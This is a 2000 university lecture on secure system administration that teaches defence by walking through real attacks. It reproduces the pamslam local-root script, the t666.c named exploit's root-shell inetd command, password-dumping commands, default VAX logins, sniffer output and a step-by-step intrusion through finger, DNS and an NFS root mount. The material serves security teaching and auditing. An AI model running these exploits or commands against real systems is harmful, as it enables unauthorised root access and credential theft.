# Secure System Administration Lecture 1 (v4)

April 5, 2000

(or Security through attacking yourself!)

Keeping all the ducks in a row is more likely to benefit the foxes than the ducks.

- D. R. Morrison

by Leeland Artra Cellworks Project University of Washington

This presentation is online at: http://www.sasag.org/2000/08/

"This is the stuff that will set you free. You better teach yourself about technology because nobody else is going to do it for you. Actually it's worse then that. Big gov and big biz don't want you to know what great systems they have cooking to control and manipulate us all. Step into one of these quality archives and read some of the info that has been created for you." LOPHT Archives site.

# Talk Overview

- The Problem (Lecture 1)
  - Definition of the common problems
  - Some tools
  - Real examples of exploiting "harmless" services
  - Discussion of the New World
  - References and Summary
- Protecting your site (Lecture 2)
  - Definition of the common problems (review)
  - New system first steps
  - Old system review
  - Some more tools
  - More References and Summary

### REMARKS

The topic of systems security can easily span a two week course. There is no way to completely discuss it in one session. Nor is it possible to deal with the subject in two 2 hour sessions.

These lectures are intended to be the sparks that get an ember burning in your mind. Remember it is an ember ONLY. To fully gain from these lectures you must explore, read, search, and above all imagine how to use the knowledge you are gaining.

The days of the 'old hacker' (when a hacker was a kid without experience or real knowledge with loads of free time) are NO LONGER. Hackers, and worse Crackers have knowledge, imagination, and in a lot of cases TALENT. This can be a very bad combination if your job is to keep them out.

Most Systems Administrators are just like a construction worker with a huge job site, loads of construction materials, but, no tools, no time and no PLAN. Hopefully you can begin getting the construction materials together. You have to have permission to test your tools, materials and IDEAS.

# Approach

- Taking an unusual approach
  - Instead of "There is a problem" (theory discussion)
  - Show real examples of how "harmless" network services can be used on an attack
- Not trying to illuminate extremely advanced intrusions
  - Will show known to be used methods
  - Will also show suspected to be used methods
  - Will outline the methods to create more aware SysAdmins

# REMARKS

This talk is very different from the "norm" on system security talks. Even as resent as November 1999 a MAJOR Unix and systems administrations magazine published a complete (>130 pages) magazine on "Systems Security". This magazine shouted from the cover "Major Points of Entry Crackers Look For", "Data Encryption Protection For Modern Systems", "Can Unix Measure Up?", etc., etc.

However, after reading the entire magazine I was disappointed to have gained ZERO additional knowledge. The articles regurgitated the same tired chant "beware the evil hacker, beware telnet misconfigurations, beware ftp misconfigurations, beware SMTP misconfigurations, beware TFTP, beware Web Servers setups, beware NFS, beware NIS, ..." In other words all the open ports on your servers that we need. But, it did not detail the PROBLEMS. So in this talk I will take an infrequently traveled road. Instead of chanting the same chants I'll lay out a complete new rhythm. In fact instead of saying that service X is a possible problem, I will help you to see through the eyes of a potential intruder. Hopefully, this will show why it is one.

# Goals of Talk

By the end you should have:

- A basic understand of hacking methods
- Developed some ideas for intrusion methods
- An idea of where to go for more knowledge

# Knowledge is power, Wisdom is divine.

### REMARKS

Hopefully by the end of this first set you will:

- •understand the various mechanisms that crackers have actually used to obtain access to systems
- •see how a seemingly harmless network service can become a valuable tool in the search for weak points of a system
- learn some techniques security experts either suspect intruders of using, or that I have used in tests against authorized environments
  and, know where to start your own line of inquiry into the world of tools and information at the beck and call of the wanna-be hackers.

My motivation for doing this is that system administrators are often unaware of the dangers presented by anything beyond the most trivial attacks. The purpose of this talk is to show you how to test the security of your own

site, not how to break into other people's systems.

# Definition of default

# Some people would rather die than think; in fact, most do.

- Default means:
  - Computer (UNIX, DOS, Windows XX, MacOs XX, etc.) systems are not secure.
  - People are not secure.
  - Facilities are not secure.
- By definition:
  - H/Crackers know how to break in.
  - Crackers will take full advantage for any purpose.
  - Hackers will take full advantage for a look.
- Conclusion:
  - By default your site is not secure.

## REMARKS

Unfortunately ALL systems come set up so you can set them up. Which means ALL SECURITY IS OFF, THE SHIELDS ARE DOWN, and THE SYSTEM IS VULNERABLE. The only thing between a new system and a Hacker is KNOWLEDGE. That knowledge comes from the manuals. If you do not think that "they" have that manual, you are WRONG!.

Example: a SMALL excerpt from a network accessible source (47k text file): DEFAULT VAX LOGINS:

Username	Password
DECNET	DECNET
DEFAULT	DEFAULT
DEMO	DEMO
	unpassworded
FIELD	FIELD
	SERVICE
GUEST	GUEST
	unpassworded
OPERATOR	OPERATOR
OPERATIONS	OPERATIONS
SYSMAINT	SYSMAINT
	SERVICE
	DIGITAL

# The Dark Ages of SysAdmins

- In the dark ages
  - Hackers used password guessing and lots of patience.
  - Hackers used human engineering (free soda) to get passwords.
  - Hackers had to get physical access to your site OR they had to dial in direct.
- Modern Times
  - Hackers have complicated automated scripts to break sites
  - Hackers use human engineering (free soda) to get passwords.
  - Hackers have the INTERNET.

### REMARKS

From a wonderful paper by Dan Farmer and Wietse Venema (Improving the Security of Your Site by Breaking Into it).

"Fade to ...

A young boy, with greasy blonde hair, sitting in a dark room. The room is illuminated only by the luminescence of the C64's 40 character screen. Taking another long drag from his Benson and Hedges cigarette, the weary system cracker telnets to the next faceless ".mil" site on his hit list. "guest -- guest", "root -- root", and "system -- manager" all fail. No matter. He has all night... he pencils the host off of his list, and tiredly types in the next potential victim... This seems to be the popular image of a system cracker. Young, inexperienced, and possessing vast quantities of time to waste, to get into just one more system. However, there is a far more dangerous type of system cracker out there. One who knows the ins and outs of the latest security auditing and cracking tools, who can modify them for specific attacks, and who can write his/her own programs. One who not only reads about the latest security holes, but also personally discovers bugs and vulnerabilities. A deadly creature that can both strike poisonously and hide its tracks without a whisper or hint of a trail. The uebercracker is here."

# The Ueberhacker

- A genuine ghost in the machine
- Capable of coming and going without leaving a single trace
- Unstoppable due to extreme knowledge
- Can do anything

# A Myth?

# Possibly, but getting more likely.

# REMARKS

For years there has been talk of a "ueberhacker", a hacker that could enter your system, do anything they wanted, and completely remove all traces that they were in your system in the first place. How do you prove that this 'insubstantial' entity exists? You can't but the possibility is getting more and more likely that one or more exists.

In 1995 there was launched a sophisticated network attack against Purdue (what's new? right). Well this hacker was extremely deft at cross connecting hosts, jumping from port to port, using 7 dummy hosts as mere relays. It took an incredible effort by the authorities to take down this individual. In the mean time they fought a battle to stop him or her and finally, near the end were able to get a log of the activity being performed. This sophisticated attacker was gaining access to a highly secured super Unix main frame and entering "..... DIR ...... TYPE AUTOEXEC.BAT ...... HELP ... CD C:\ ...... EXIT" Over and over and over.... It was a 12 year old boy two cities away that got a program from a BBS that simple unzipped to a single program entitled "RUNME.EXE" that then asked if the modem was available and on what port. It then dialed a local access port at a university, logged in, etc....

# General Goals

- Find interesting or vulnerable systems
- Get access to a system
- Assure continued access to system
- Hide access attempt(s)
- Use system for fun and profit

### REMARKS

No matter the means the goals have a few common threads: get in, get what we are after and get out. Like the wind. Mostly there is the idea of getting back later. There is always something else to play with or do.

Clever hackers have developed methods to conceal their activities, and programs to assist this concealment.

These methods and programs were documented in "philes" that populated underground bulletin boards and published in magazines -- electronic and hardcopy – like 2600 and Phrack.

For example, "Hiding Out Under Unix," by Black Tie Affair (Phrack Volume Three, Issue 25, File 6, March 25, 1989) includes source code for a program to edit the /etc/wtmp file to remove all logins records for compromised accounts.

# Finding Interesting Systems

- Completely personal choices
- I get attacked a lot after each time I give this talk? Hmmm
- Articles listing cool projects
- IRC channel discussions
- Vulnerable site lists

# REMARKS

The ways systems are targeted are as many and as varied as there are people in the world.

But, we can no leave out the possibility of true sabotage or espionage.

# **Password Sniffing**

- Latest form that has everyone scrambling
  - Can not detect from any host but the sniffer
  - Compromises all hosts talked to from the subnet
- How it is done
  - Hacker gains root access (if the ethernet device is world writeable not needed)
  - Hacker installs program (A COMPILED PROGRAM)
  - Hacker hides log files
  - Hacker collects from time to time (or has an automated post out method)

## REMARKS

First we have to get in. The easiest way in is the front door. If it is unlocked we can just waltz in like we belong there.

Password sniffing is by far the easiest thing to do. All they need is to watch traffic from their systems and replay the accounts and passwords they saw to get to another system then repeat.

# **Password Sniffer Output**

```
Using logical device le0 [/dev/le0] Output to stdout.
Log started at -> Fri Feb 07 08:29:08 [pid 23456]
: -- TCP/IP LOG -- TM: Fri Feb 07 08:29:08
PATH: victim.host.bar.com(67811) ->
  local.host.bar.com(telnet)
STAT: Fri Feb 07 08:29:10, 34 pkts, 73 bytes [TH_FIN]
DATA: (255)(255)<sup>C</sup>(255)(251)<sup>X</sup>(255)(250)<sup>X</sup>
: VT100(255)(240)(255)(253)^A(255)(252)^Alogin
: password
: -- TCP/IP LOG -- TM: Fri Feb 07 08:30:34
PATH: victim.host.bar.com(67811) ->
  local.host.bar.com(telnet)
STAT: Fri Feb 07 08:31:09, 14 pkts, 62 bytes [TH_FIN]
DATA: USER lyong
     : PASS jk88kdf
 :
```

### REMARKS

I understand that prosecutors are having a real hard time figuring out how to define crimes. Maybe we could get some side jobs. Naaaa.. Its much better to be the local sheriff.

# **TCP** Spoofing

- Hackers can
  - forge the source of a TCP packet
  - guess the correct sequence number
  - build a correct TCP/IP packet
- This
  - Breaks the "trusted host" security paradigm
  - Gets one full TCP/IP packet in the door
     Ask yourself: What can one packet do?
     Next Ask: How many characters can one packet hold?
     consider: "rm -rf /"
  - Has been shown to get through some firewalls!

## REMARKS

But, why go through all the trouble to do this if the front door is open?

# How About Remote Exploits? t666.c (1)

An interesting example:

ADM CONFIDENTIAL -- (ADM Confidential Restricted when combined with the aggregated modules for this product) OBJECT CODE ONLY SOURCE MATERIALS (C) COPYRIGHT ADM Crew. 1999 All Rights Reserved

This module may not be used, published, distributed or archived without the written permission of the ADM Crew. Please contact your local sales representative.

### REMARKS

/\*

- \* ADM CONFIDENTIAL -- (ADM Confidential Restricted when
- \* combined with the aggregated modules for this product)
- \* OBJECT CODE ONLY SOURCE MATERIALS
- \* (C) COPYRIGHT ADM Crew. 1999
- \* All Rights Reserved

\*

\* This module may not be used, published, distributed or archived without

\* the written permission of the ADM Crew. Please contact your local sales

- \* representative.
- \*
- \* ADM named 8.2/8.2.1 NXT remote overflow horizon/plaguez

\*

\* "a misanthropic anthropoid with nothing to say"

\*

# t666.c named 8.2/8.2.1 attack (2)

- Buffer overflow exploit for named 8.2/8.2.1
- Provides REMOTE ROOT SHELL and:
  - Breaks chroot
  - Forks run command in case the fd duping doesn't work
  - Breaks Solaris/SPARC as well
  - Breaks NetBSD as well (without breaking chroot)
    - But can bypass problem using mknods in chroot environment

### REMARKS

\* thanks to stran9er for sdnsofw.c

\*

\* Intel exploitation is pretty straightforward.. should give you a remote

\* shell. The shellcode will break chroot, do a getpeername on all open

\* sockets, and dup to the first one that returns AFINET. It also forks and

\* runs a command in case the fd duping doesn't go well. Solaris/SPARC is a

\* bit more complicated.. we are going through a well trodden part of the

\* code, so we don't get the context switch we need to have it populate the

\* register windows from the stack. However, if you just hammer the service

\* with requests, you will quickly get a context switch at the right time.

\* Thus, the SPARC shellcode currently only breaks chroot, closes current

\* fd's and runs a command.

\* Also, the NetBSD shellcode doesn't break chroot because they stop the

\* dir tricks. Of course, they allow mknods in chrooted environments, so

\* if named is running as root, then it still might be expoitable.

\* The non-exec stack patch version returns into a malloc'ed buffer, whose

\* address can vary quite alot. Thus, it may not be as reliable as the other

\* versions ..

\*/

# t666.c named 8.2/8.2.1 attack (3) Default command: echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" >>/tmp/bob; /bin/sh sh -i\" >>/tmp/bob; /bin/inetd -s /tmp/bob; /bin/rm -f /tmp/bob Starts another inetd process which is listening on the ingreslock port that will start a root shell on any connect

# REMARKS

In essence this program will start a process which will exploit named to run any command on any system that touches it.

After this all we have to do is telnet in.

Many intruders leave some configuration files in their standard location. An administrator who knew the locations of these programs and their configuration files could fairly easily disable them or use the "strings" program to look for suspect strings in the binary programs. Another method commonly used was to use "find" to locate all files modified within the last 24 hours.

While "ls" would lie to you, "find" would dutifully report files and directories, exposing them.

For example this type of attack leaves an inetd configuration file in /tmp called bob. There are a lot of attacks that do this.

# Assuring Continuing Access

- Hacker attempts to get root
- Hacker uses scripts/utilities/etc to insure a return trip (RootKit, DemonKit, etc.).
- Hacker attempts to install a sniffer or password stealer
- Hacker runs sniffers in small time slots (usually 7-9) sometimes at random.

### REMARKS

Clever hackers have developed methods to conceal their activities, and programs to assist this concealment. Over time, other clever programmers kicked into action and wrote programs to modify the timestamp and size of programs like "ls", "netstat", "ps" which were turned into "Trojan horses".

Just like the Trojan Horse used by the Greeks to sack Troy, these programs appear to be something you know and trust, but instead hold hidden features that trick the person running them into believing the output is truthful, very effectively allowing the intruder to harvest login passwords, conceal their files, network connections, and processes. Since the files had the same timestamp as other programs in the same directory, and appeared to have the same checksums (via another Trojan horse technique), the naive administrator of the system would see nothing out of the ordinary and give up, thinking the system to be "clean".

These Trojan horse programs were bundled together in the form of "Root Kits", the original written for Sun's Berkeley flavor of Unix (SunOS 4) and later for Linux, IRIX, AIX, and many, many others.

The introduction of the Linux Root Kit version 4 (lrk4), released in November 1998 added lots of new Trojan horse programs like "pidof" and "killall" (used to terminate running processes by name), "find" (used to locate files by type, name, date, etc.), "top" (shows processes), "crontab" (used to schedule periodic processes), and adds a new program to check for the sniffer.

# Root Kits

- Linux Root Kit version 3 (lrk3), released in December of 1996 included tcp wrapper Trojans and password sniffers.
- Linux Root Kit version 4 (lrk4), released in November 1998 included: bindshell, chfn, chsh, crontab, du, find, fix, ifconfig, inetd, killall, linsniffer, login, ls, netstat, passwd, pidof, ps, rshd, sniffchk, syslogd, tcpd, top, wted, z2
- The next will be even more complete.

### REMARKS

April 5, 2000

The complete list of p	programs included in the kit, from the README file, is:
bindshell	port/shell type daemon!
chfn	Trojaned! User->r00t
chsh	Trojaned! User->r00t
crontab	Trojaned! Hidden Crontab Entries
du	Trojaned! Hide files
find	Trojaned! Hide files
fix	File fixer!
ifconfig	Trojaned! Hide sniffing
inetd	Trojaned! Remote access
killall	Trojaned! Wont kill hidden processes
linsniffer	Packet sniffer!
login	Trojaned! Remote access
ls	Trojaned! Hide files
netstat	Trojaned! Hide connections
passwd	Trojaned! User->r00t
pidof	Trojaned! Hide processes
ps	Trojaned! Hide processes
rshd	Trojaned! Remote access
sniffchk	Program to check if sniffer is up and running
syslogd	Trojaned! Hide logs
tcpd	Trojaned! Hide connections, avoid denies
top	Trojaned! Hide processes
wted	wtmp/utmp editor!
z2	Zap2 utmp/wtmp/lastlog eraser!



### REMARKS

Not as difficult as you might think.

April 5, 2000 Gaining Root Locally (2) This Shell Script...(edited for space) cat > \_pamslam.c < #include<stdlib.h> #include<unistd.h> #include<sys/types.h> void \_init(void) setuid(geteuid()); system("/bin/sh"); EOF echo -n echo -e auth\\trequired\\t\$PWD/\_pamslam.so > \_pamslam.conf chmod 755 \_pamslam.conf echo -n gcc -fPIC -o \_pamslam.o -c \_pamslam.c echo -n o ld -shared -o \_pamslam.so \_pamslam.o echo -n o chmod 755 \_pamslam.so echo -n O rm \_pamslam.c rm \_pamslam.o echo O /usr/sbin/userhelper -w ../../..\$PWD/\_pamslam.conf sleep 1s rm \_pamslam.so rm \_pamslam.conf

### REMARKS

### The comments in the script are:

```
# pamslam - vulnerability in Redhat Linux 6.1 and PAM
# pam_start found by dildog@l0pht.com
#
# synopsis:
  both 'pam' and 'userhelper' (a setuid binary that comes with
#
#
  the 'usermode-1.15' rpm) follow .. paths. Since pam_start
#
  calls down to _pam_add_handler(), we can get it to dlopen
#
  any file on disk. 'userhelper' being setuid means we can
  get root.
#
#
# fix:
# No fuckin idea for a good fix. Get rid of the .. Paths
  in userhelper for a quick fix. Remember 'strcat' isn't a
#
  very good way of confining a path to a particular
#
  subdirectory.
#
#
# props to my mommy and daddy, cuz they made me drink my milk.
```

```
Gaining Root Locally (3)
• Which when executed...
• On MY current/patched Linux System on
4/05/2000 yielded this result:
[leeland@brimir hope]$ whoami
leeland
[leeland@brimir hope]$ ./pamslam.sh
..ooO0
bash# whoami
root
```

### REMARKS

```
Complete output:
      [leeland@brimir hope]$ whoami
      leeland
      [leeland@brimir hope]$ ls
      uu_pamslam
      [leeland@brimir hope]$ uudecode uu_pamslam
      [leeland@brimir hope]$ ls
      pamslam.sh uu_pamslam
      [leeland@brimir hope]$ ./pamslam.sh
      ..0000
      bash# whoami
      root
      bash# pwd
      /dsk/hdb01/home/leeland/hope
      bash# ls
      _pamslam.conf _pamslam.so pamslam.sh uu_pamslam
      bash# exit
      [leeland@brimir hope]$ ls
      pamslam.sh uu_pamslam
```



# REMARKS

In recent root kits we have seen some pretty neat things. Most interesting is executables which look just right. Except they have not yet beat MD5 checksums.

# Hiding Attacking Data

• Hacker hides files cleverly from normal file scans. Give this a thought:

```
Create a new directory called weird
unlink ./..
ln weird ./..
```

```
rmdir weird
```

- Now /usr/home/user1/.. is the old weird directory

# REMARKS

The odd directory problem is removed because all the venders have removed the ability to hard link from the ln program. But, the mkdir program still calls the same libraries as before. So all we need to do is compile our own ln without the constraints....And be root...

# Password Stealing via libc exploit

Hackers can get /etc/passwd (with hashes) easily

```
$ echo "#include <pwd.h> \
main(){ struct passwd *p; while(p=getpwent())\
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name,\
p->pw_passwd, p->pw_uid, p->pw_gid,\
p->pw_gecos, p->pw_dir, p->pw_shell);}" >
tmp.c
$ cc -o unshadow -0 tmp.c
$ unshadow > gotcha
```

### REMARKS

After gaining even a small inroad into a system getting the password file is usually a simple matter for even a lightly educated hacker. The most widely used resources are also the ones that may provide just enough access to get the password file.

Preventing the first pass is where the best energies are spent preparing a site. After a security plan is in place Audit, Audit, Audit. Detecting the second phase should be of primary importance.

Once the password file has been grabbed hackers can then use CRACK or similar tools to get more accounts (or root if they are lucky).

# Password Stealing via Shared Account Services

Hackers can get /etc/passwd (with hashes) easily

• Running NIS?

```
ypx -gs -m passwd <host> [<domainname>] > gotcha
```

• Running NIS+?

ypprobe dns.domain

```
- THEN:
```

ypx -gs -m passwd <identified NIS subagent> > gotcha

# REMARK

Shared account services have their own strange problems. NIS and NIS+ are well known and easy to probe.

NIS is simple enough.

NIS+ is a harder nut to crack. But, it has support for NIS built in, including all the NIS insecurities. So a simple NIS probe to the NIS+ server will flip on NIS support. After that it is as easy as NIS. (This feature can be turned off. But, it is on by default.)

By the way this is NOT the only vulnerability in NIS+ it just fits on the slide neatly. Try looking for NIS+ exploits on the Internet.

# Password Stealing via System Applications

Hackers can get /etc/passwd (with hashes) easily

- How about an old sendmail bug?
   sendmail -c /etc/shadow > gotcha 2>&1
- There are many other programs that have root access and accept configuration files.
  - Find these with:

```
find / -perm 4000 -print
```

### REMARKS

April 5, 2000

This particular bug has been fixed everywhere I have checked. But, only if you are running patched or moderately current software. Try it and see. Any program that has the setuid bit on and is owned by root is a vulnerable link in your security. From my system: [leeland@brimir]\$ find / -perm +4000 -uid 0 -print 2>/dev/null /usr/X11R6/bin/Xwrapper /usr/bin/chage /usr/bin/gpasswd /usr/bin/crontab /usr/bin/at /usr/bin/dos /usr/bin/lpq /usr/bin/lpr /usr/bin/lprm /usr/bin/passwd /usr/bin/suidperl /usr/bin/sper15.00503 /usr/bin/procmail /usr/bin/rcp /usr/bin/rlogin /usr/bin/rsh /usr/bin/chfn [...]

# An Attack from Nothing to Access

# • Real attack.

- Target was litterate on hacking from a "normal presentation" stand point.
- LIVE and AWARE target.
- Target's upper management signed off on the attack as a "free security evaulation".
- Target was a development environment with real value software and trade secrets.
- TARGET did NOT detect the attack.
- ALL transcripts were given to the target.

# REMARKS

Results were not uncommon. They took a long time but target is more secure today.

Target's management changed Information Systems Budget:

•Added a training budget for 3 to attend 5 expensive courses

•Added 2x the above on the condition the conferences were security related

```
Initial Information Gathering
• As a plain user from anywhere:
$ nslookup
Default Server: gladsheim.YOU.GOT.ME.xxxxx.xxx
Address: 393.303.100.1
> set type=MX
> target.com
Server: gladsheim.YOU.GOT.ME.xxxxx.xxx
Address: 393.303.100.1
Non-authoritative answer:
target.com preference = 10, mail exchanger = mail1.target.com
target.com
             preference = 10, mail exchanger = mail2.target.com
Authoritative answers can be found from:
OTHER.TARGET.COM
                     nameserver = ns.mci.com
OTHER.TARGET.COMnameserver = kingdom.COMPUTING.TARGET.COMOTHER.TARGET.COMnameserver = empire.COMPUTING.TARGET.COM
mail1.target.com internet address = 278.346.32.6
mail2.target.com internet address = 278.346.33.5
ns.mci.com internet address = 428.444.444.101
kingdom.COMPUTING.TARGET.COM internet address = 278.346.35.1
empire.COMPUTING.TARGET.COM internet address = 278.346.36.1
```

### REMARKS

April 5, 2000

After a short bit of nosing around with a web browser and a few polite mail lookups in the online mail servers I know that the target has a sub domain of TARGET.COM. I have not TOUCHED any of their hosts in anyway as yet. The host gladsheim is my own system (Sparc 5/85 with Solaris 2.5). I have set up a fake dns system to echo back an obviously false dns reverse lookup of YOU.GOT.ME.xxxxx.xxx. But, they never got that far. So now the FUN begins...

# Initial Results Reveal

- target = TARGET.COM
- mail goes to
  - mail1.target.com
  - mail2.target.com
- DNS is available from
  - ns.mci.com
  - empire.COMPUTING.TARGET.COM
  - kingdom.COMPUTING.TARGET.COM

### REMARKS

So now I have some data about my target. I know that they handle their own mail and that they have some ISP help for DNS.

Now I just need a little more information.

# Trying for Direct DNS Data

```
> set type=A
> server kingdom.computing.target.com
Default Server:
kingdom.computing.target.com
Address: 278.346.35.1
> ls -a target.com
[kingdom.computing.target.com]
*** Can't list domain TARGET.COM: No
information
```

### REMARKS

Good, they have locked down their DNS system to not just give anyone a map of their networks.

But, there are other players in this game....

# Trying for Indirect DNS Data

Since they have an ISP helping out. Lets ask the ISP for help.

> server ns.mci.com Default Server: ns.mci.com Address: 428.444.444.101 > ls -a target.com [ns.mci.com] Bear Bear.TARGET.COM gold gold.TARGET.COM gold gold.TARGET.COM pj pj.TARGET.COM read read.TARGET.COM [...] loghost loghost.TARGET.COM taq fer.TARGET.COM www hermes.TARGET.COM

### REMARKS

Pay dirt. This is good stuff.

Getting Solid Indirect Host Data <u>Oops, although they are tight lipped, the ISP is a</u> <u>gossip. Even better!</u>

> ls -h TARGET.COM
[ns.mci.com]
TARGET.COM.
read
bear
gold
king
cheap
dianna
howdy
zeus
clid
kinki

; Dept = Some	e weirdness
XTerminal	xdm
Feb	ofs/1
MacIIci	MacOS
MacII	MacOS
486PC	Linux
MacII	MacOS
Mac IIC:	x sys7.0
HP9000/735	hpux
486PC	OS/2
PowerMac710	0 MacOS

### REMARKS

[...]

April 5, 2000

> ls -h TARGET.COM [ns.mci.com] TARGET.COM. ; Dept = Some weirdness read XTerminal xdm bear Feb ofs/1 gold MacIIci MacOS king MacII MacOS 486PC Linux cheap dianna MacII MacOS howdy IIcx sys7.0 Mac HP9000/735 hpux zeus clid 486PC OS/2 kinki PowerMac7100 MacOS [...] labcam 386 DOS bochhead PowerMac 7100 System 7.5 hawk PowerBook MacOS > exit

April 5, 2000
Gently Probe
OK, so lets have a peak inside.
\$ finger @zeus.TARGET.COM
[zeus.TARGET.COM]
\$ showmount -e zeus.TARGET.COM
showmount: zeus.TARGET.COM: RPC: Rpcbind failure - RPC:
Timed out
Oh good they have their central system locked out
from finger.

# REMARKS

You have heard that finger is bad. The reason that finger is so bad is that, with a few exceptions, it is not used as much as you might think, yet it provides a cheap and easy way for hackers to probe a system. Using finger hackers can gently nudge the system to see who is there and what is going on.

But, not here. Their main system is blocking my attempts to look in. This promises to be harder to crack.

### Gently Probe Other Systems • Pick a random UNIX station from my list and try again. \$ ping blond.TARGET.COM blond.TARGET.COM is alive \$ finger @blond.TARGET.COM [blond.TARGET.COM] Office Loqin Name TTY Idle When planner1 planner1 p0 3d Wed 16:50 planner1 planner1 9d Wed 16:47 p1 planner1 planner1 30d Wed 16:22 CO

# REMARKS

Keys to recognize here, planner1 is not really a good user name. So it might be a shared account. Also, the account is logged into the machine from the console with excessive Idle Time. While the other connections are to ttyp ports (logical ports like on an X environment). So they leave this account logged in and open windows when needed is a good guess.

```
Gently Probe a User
• Well since finger is open check out the logged in user
$ finger planner1@blond.TARGET.COM
[blond.TARGET.COM]
Login name: planner1
                                  In real life: planner1
Directory: /users/planner1
                                    Shell: /bin/csh
On since Oct 25 16:50:31 on ttyp0 from :0.0
3 days 12 hours Idle Time
No Plan.
Login name: planner1
                                  In real life: planner1
Directory: /users/planner1
                                    Shell: /bin/csh
On since Oct 25 16:47:11 on ttyp1 from :0.0
9 days 5 hours Idle Time
No Plan.
[...]
```

## REMARKS

Since this looks like a shared account that is left around it is most likely safe to probe it. This yields very interesting information. Specifically the shell, home directory and the "real name".



# REMARKS

Why be suspicious? Ever hear of a honey pot. A machine that stands out and looks disserted. But, is actually being watched very closely. I am not going to fall into that trap if I can help it.

# Check Out Another Host

• Pick another UNIX based machine and have a look.

```
$ finger @bug.TARGET.COM
[bug.TARGET.COM]
$ showmount -e bug.TARGET.COM
export list for bug.TARGET.COM:
/make1 (everyone)
/make2 (everyone)
/make3 (everyone)
/make4 (everyone)
```

### REMARKS

This is way too easy!

I am beginning to worry about my friend's site. This is obviously a site out of control and in the hands of the "users" who do not want to be bothered with administering their machines.

# Pick Another Host Target This is looking very bad for the site The vet enother mechine can have have too r

Try yet another machine, can never have too many targets
 \$ finger @lover.TARGET.COM
 [lover.TARGET.COM]

\$ showmount -e lover.TARGET.COM
showmount: lover.TARGET.COM: \
RPC: Miscellaneous tli error - Incorrect flags specified

# REMARKS

Nothing interesting.



## REMARKS

I broke out of the first finger. Why? It took too long. So either I was being trapped and looked up or the connection was just dropped. In either case I didn't want to send all the retries. Logs are such a pain to clean up.

Strange a similar pattern of logins on this host as well. Perhaps that first host was not a honey jar.

# More NFS Checks

• Lets explore this one a little more.

```
$ showmount -e cold.TARGET.COM
export list for cold.TARGET.COM:
/usr/users/planner1/data (everyone)
/gofs (everyone)
```

- This looks too good to be true.
  - But twice in a row
  - Same user
  - Same user loggin pattern

### REMARKS

The easiest sites are the ones that either don't care or don't know. In this case it was a little of both. Although they knew of the dangers they figured they were obscure enough not to worry about being attacked. Unfortunately modern netscans will do all of this automatically in the style of the old war dialers. Now large networks can be scanned by computers looking for easy targets. April 5, 2000 Keep Scanning • Still not sure if this is a set up or for real \$ ping scanner.TARGET.COM scanner.TARGET.COM is alive \$ finger @scanner.TARGET.COM [scanner.TARGET.COM] LoginNameTTY IdleWhenWhereplanner1planner1co3d Thu 18:05planner1planner1p05d Thu 18:06:0.0planner1p15d Mon 16:13:0.0planner1p29d Thu 18:06:0.0 TTY Idle When Where \$ finger planner1@scanner.TARGET.COM [scanner.TARGET.COM] Login name: planner1 In real life: planner1 Directory: /export/home/scanner/planner1 Shell: /bin/csh On since Jan 16 18:05:51 on console 3 days 8 hours Idle Time No unread mail No Plan. [...]

### REMARKS

It is important to note that, except for the teenage joy surfers, hackers are a patient and cautious lot. It never hurts to keep looking around a bit. So far have done nothing wrong. Plus they are most likely completely unaware of this probe.

Notice the login pattern? This is getting to be too common to be a trap. Lets get a bit more bold now.

### REMARKS

Most attacks require root level authority. But the authority is NOT on your system but on the attacking system. We can safely assume that the hacker can get root on the system they are already using.

April 5. 2000 Mounted NFS Filesystem Check									
• Wall it worked									
<ul> <li>well, it worked.</li> <li># df -k</li> </ul>									
Filesystem	kbytes	used	avail	capacity	Mounted on				
/dev/dsk/c0t3d0s0	43423	12313	26770	32%	/				
/dev/dsk/c0t3d0s6	288391	183419	76142	71%	/usr				
/proc	0	0	0	0%	/proc				
fd	0	0	0	0%	/dev/fd				
/dev/dsk/c0t3d0s3	81807	49743	23884	68%	/var				
swap	148372	28	148344	0%	/tmp				
/dev/dsk/c0t3d0s7	88375	9	79536	0%	/export/home				
<pre>scanner.TARGET.COM:/</pre>	export 88	4766 132	053 6642	237 17%	/mnt/scanner				
# cd /mnt/scanner									

# REMARKS

NFS is pretty dangerous. Especially if it isn't stopped at the boarders. Notice that I am still root on my system.

```
ROOT Access on NFS Mount?
• Lets see what we got.
# ls -l
total 32
drwxr-sr-x
            3 root
                                   512 Feb 9
                                              1994 exec
                      root
drwxr-xr-x
            3 root
                                   512 Feb
                      other
                                           9
                                              1994 home
drwxr-xr-x
            2 root
                      root
                                  8192 Feb
                                           9
                                              1994
  lost+found
drwxr-xr-x 10 root
                      other
                                   512 Jan 19
                                              1997 pkg
            2 root
                                   512 Feb 9
                                              1994 share
drwxr-sr-x
                      root
# touch lost+found/AEFFGRGG
# ls -l lost+found/
total 46
drwxr-xr-x
            6 root
                      root
                                   512 Feb 7 08:29
  AEFFGRGG
# rm lost+found/AEFFGRGG
```

## REMARKS

What have I done?

I have demonstrated that I have root level access to the entire exported directory.

I used lost+found because it already has a large number of unused inode entries in its table. Hence my test did not cause any new inodes to be created or the filesystem to be expanded. This avoids possible logging on the filesystem activities.

```
April 5, 2000
              Login to TARGET
• OK lets get in.
# cd home
# ls -1
total 12
drwx-----
           6 25 other
                           512 Feb 19 12:46 development
            5 22
                    other 512 Feb 22 11:21 planner1
drwx-----
drwx-----
           3 24
                    other 512 Feb 23 1994 kim
            3 23
                    other 512 Jun 14 13:32 phil
drwx-----
# cd kim
      ***** pretending I don't have root NFS access *****
# echo "199.106.183.1 root" >> .rhosts
ksh: .rhosts: Permission denied
• Oh darn I am stopped...
```

# REMARKS

Well the export I picked to show had the home directories for the users. So I just need to get to a user's home directory on that system.

LETS PRETEND I DIDN'T HAVE ROOT ACCESS.... Then it would look like this...

# Login in Anyway

• It really isn't that hard:

# echo "kim:x:24:20::/mnt/scanner/home/kim:/bin/ksh" >>
 /etc/passwd

```
# su - kim
$ echo "199.106.183.1 kim" >> .rhosts
```

\$ rlogin scanner.TARGET.COM

# [kim@scanner] /home/kim \$

- In the system as a fully authorized user
- Not logged, unless they have tcpwrappers? (They do now.)
- In less than 1 hour of real hacking I went from nothing to full access

# REMARKS

Believe it or not. Hacking is that easy. Systems that are watching present more of a challenge. But, hackers have time and patience. Besides a really hard system is an "exceptional hack" and very stimulating.

Now the question is are hackers attacking for the shear fun of it, or are they after something you might have that they can make some money off of?

# Places to Learn

# • Some places to start with:

Counterpane - Cryptology	www.counterpane.com
Justin Boyan's Front Door	www.cs.cmu.edu/~jab
Gray Areas Magazine	www.grayarea.com
